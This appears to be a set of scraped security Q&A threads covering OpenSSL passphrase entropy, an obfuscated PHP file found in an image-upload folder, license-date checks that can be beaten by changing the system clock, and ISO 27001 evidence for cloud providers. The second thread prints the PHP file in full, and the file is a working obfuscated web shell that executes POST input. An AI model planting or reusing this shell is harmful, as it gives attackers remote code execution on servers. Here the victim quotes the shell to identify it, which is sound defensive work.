What could be improved here? How long should the passphrase be in order to make the brute force unfeasible?

Should I use something else instead of OpenSSL?

If you are using a simple passphrase-based approach, then your encryption is at most as secure as your passphrase. And even if you are using a long passphrase, your encryption is at most as secure as the key derivation function used to get from the passphrase to the actual key. Openssl uses a simple MD5 hash to generate the key, which has two drawbacks:

It limits your effective key length to 128 bits, so even with a long passphrase, there is not point in using AES-256 over AES-128.
Its security from collision attacks is in doubt. Now whether this is a problem for a simple file encryption scheme i don't know.

The weakest link will be the passphrase itself though. How long does it have to be? Well the better question is: how much entropy does it need? This question can only be realistically answered if the passphrase is randomly created. Take as an example diceware: here each word in the passphrase has 12.9 bits of entropy, meaning that an attacker has to try all 7776 words in the diceware dictionary to decrypt the file (well, yes, statistically, the attacker will succeed after half that number). A five word diceware passphrase gives you about 64 bits, a ten word passphrase about 129 bits of entropy. This means that you need a ten word passphrase to have the MD5 hash of openssl cut entropy off, and shows how much weaker than the other links the passphrase usually is.


Unknown PHP file in my upload folder, isn't malicious code? Recently i found out my project got hacked and i found a script in my images folder which where a directory for user to upload their images (using file input). Here is the script that i found in the directory.

errot_db.php

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>

I just google dorked the code here and it looks to some sort of malware/trojan aimed at IP address filtering on a webshell. You may need to translate the page to English.


python time since epoch hacking system variable I am trying to figure out whether it's safe to let a payed software check its own license date validity using the client's computer

the way this is done is by invoking time.time() function from python and comparing it to the hashed license expiry date. if the time.time() returns anything after the expiry date than the software throws a license expired error.

The concern I have is whether it's possible for someone to change some system variables and get time.time() function return a different difference since epoch than the real actual one.

First of all

  by invoking time.time() function from python and comparing it to the hashed license expiry date. if the time.time() returns anything after the expiry date than the software throws a license expired error.

You cannot compare against a hash and tell if it is after or before. You can only tell if it is on the dot.

Lets see MD5

value 1    has MD5 C4CA4238A0B923820DCC509A6F75849B

value 1000 has MD5 A9B7BA70783B617E9998DC4DD82EB3C5

1 > 1000 returns False but

"C4CA4238A0B923820DCC509A6F75849B" > "A9B7BA70783B617E9998DC4DD82EB3C5" returns True

So no you cannot use the hash but you can use the time.time() value itself to compare since time.time() simply returns the seconds after epoch

  The concern I have is whether it's possible for someone to change some system variables and get time.time() function return a different difference since epoch than the real actual one

Yes very easily. You can simply change your system Clock and it will never expire.

There are many resources on how to do that but i suppose what you want is how to counteract this. You can check out codeproject's article on this


Special Level Agreements for ISO27001 Suppose that in the ISMS scope I have the management of services provided by some cloud provider, i.e the provider provides me a virtual server for performing certain critical operations.

I would like to ask what I need to get as evidence of security compliance for the following scenarios:

a)  Cloud provider is ISO27001 certified. I guess I only need to show that the relevant services are in the scope of its certificate that is public.
b) Cloud provider is following ISO27001 but is NOT certified: Do I need to have an SLA for providing me the internal audit results or allow me to do a pentest on their site?
c) Does not follow ISO27001 best practices (or at least does not claim): Do I need to have an SLA and their authorization to perform a pentest?

In case the cloud provider does not accept do I only say it is an acceptable risk?

a) is clear: if the outsourced service is the scope of their certification then you can offload to them.

b) and c) are the same from a pure ISO perspective: they are not certified and it is up to you to ensure that this part is appropriately covered.

Appropriately means that you have assessed the risk and acted upon it (accept, mitigate, insure). How you do it is up to you (and will be hopefully agreed upon by the auditor), this may include contracting the existence of their audit results (an SLA would be part of the contract), or the ability to perform your own.